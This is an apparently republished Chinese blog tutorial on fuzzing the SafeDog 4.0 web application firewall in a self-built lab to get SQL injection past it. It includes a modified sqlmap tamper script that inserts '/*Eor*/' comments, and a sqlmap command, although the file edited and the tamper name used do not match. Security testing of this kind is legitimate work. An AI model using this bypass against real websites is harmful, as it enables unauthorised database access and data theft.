技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

林哲

发表文章数:2743

专业SEO优化

  • 正规SEO优化手法
  • 承诺流量+权重提升
  • 强大的团队解决问题
  • 全心全意的服务
  • 立即咨询
    首页 » WEB安全 » 技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

     

    文章目录

    • 0×00 前言
    • 0×01注入绕waf过常用手法
    • 0×02本文使用的手法是/**/注释符
    • 0×03小结

    0×00 前言

    本文使用了burp的intruder模块进行fuzz,并修改了sqlmap工具的tamper脚本,对安全狗进行绕过。

    0×01注入绕waf过常用手法

    使用大小写绕过

    使用/**/注释符绕过

    使用大的数据包绕过

    使用/!**/注释符绕过

    ……

    0×02本文使用的手法是/**/注释符

    首先搭建好一个有sql注入的测试平台,在服务器安装安全狗4.0版本

    中间件和数据库使用的是apache+mysql+php(如图下)

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    访问搭建好有sql注入点的网站:

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    先进行简单测试

    使用大小写加/**/注释

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    访问被拦截

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    使用burp进行对刚刚注入点进行抓包

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    放到重发功能repeater里面,修改id后面的值,以便等下方便爆破

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    修改方法,就是尽量sql语句简单,而且可以触发安全狗

    以为使用到/**/注释符号来代替空格,使用尽量sql语句只留一个空格,又能触发安全狗

    我的构造,刚刚好阔以触发安全狗

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    然后接下来就是fuzz,看看哪一个字符能绕过安全狗啦

    把数据包放到intuder里面

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    爆破点如上图

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    设置如上图,字典是一些sql语句,网上有很多这种字典

    开始fuzz

    如果有拦截就会是这样子

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    成功绕过安全狗拦截,如下图

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    说明该/*Eor*/这个注释符可以绕过安全狗

    简单测试/*Eor*/这个注释符

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    点击确认

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    发现and/*Eor*/1=2会被拦截

    不清楚fuzz时候不拦截,手动就拦截了

    没关系,使用sqlmap工具

    打开sqlmap使在文件下面的文件夹tamper/concat2concatws.py

    修改代码:

    #!/usr/bin/env python2
    
    """
    Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
    See the file 'LICENSE' for copying permission
    """
    
    from lib.core.compat import xrange
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.LOW
    
    def dependencies():
        pass
    
    def tamper(payload, **kwargs):
        """
        Replaces space character (' ') with comments '/**/'
    
        Tested against:
            * Microsoft SQL Server 2005
            * MySQL 4, 5.0 and 5.5
            * Oracle 10g
            * PostgreSQL 8.3, 8.4, 9.0
    
        Notes:
            * Useful to bypass weak and bespoke web application firewalls
    
        >>> tamper('SELECT id FROM users')
        'SELECT/**/id/**/FROM/**/users'
        """
    
        retVal = payload
    
        if payload:
            retVal = ""
            quote, doublequote, firstspace = False, False, False
    
            for i in xrange(len(payload)):
                if not firstspace:
                    if payload[i].isspace():
                        firstspace = True
                        retVal += "/**/"
                        continue
    
                elif payload[i] == '\'':
                    quote = not quote
    
                elif payload[i] == '"':
                    doublequote = not doublequote
    
                elif payload[i] == " " and not doublequote and not quote:
                    retVal += "/*Eor*/"
                    continue
    
                retVal += payload[i]
    
        return retVal
    
    

    使用命令:python2 sqlmap.py -r 1.txt –tamper=space2comment

    开始sql注入

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    成功利用

    技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
     

    0×03小结

    这个只是简单的/**/注释绕狗,还有很多方法都可以使用我介绍的fuzz方法去过狗。还有一点不清楚为什么手工会失败,sqlmap里面就会成功,而且burp爆破也可以成功,有大佬知道的可以说说。

    *本文作者:Anubis24,转载请注明来自ALA林哲

    作者:林哲, 转载或复制请以 超链接形式 并注明出处 ALA林哲
    原文地址:《技术讨论 | Fuzz绕过安全狗4.0实现SQL注入》 发布于2020-05-17

    分享到:
    赞(0)

    评论 抢沙发

    7 + 6 =


    Vieu4.5主题
    专业打造轻量级个人企业风格博客主题!专注于前端开发,全站响应式布局自适应模板。
    切换注册

    登录

    忘记密码 ?

    切换登录

    注册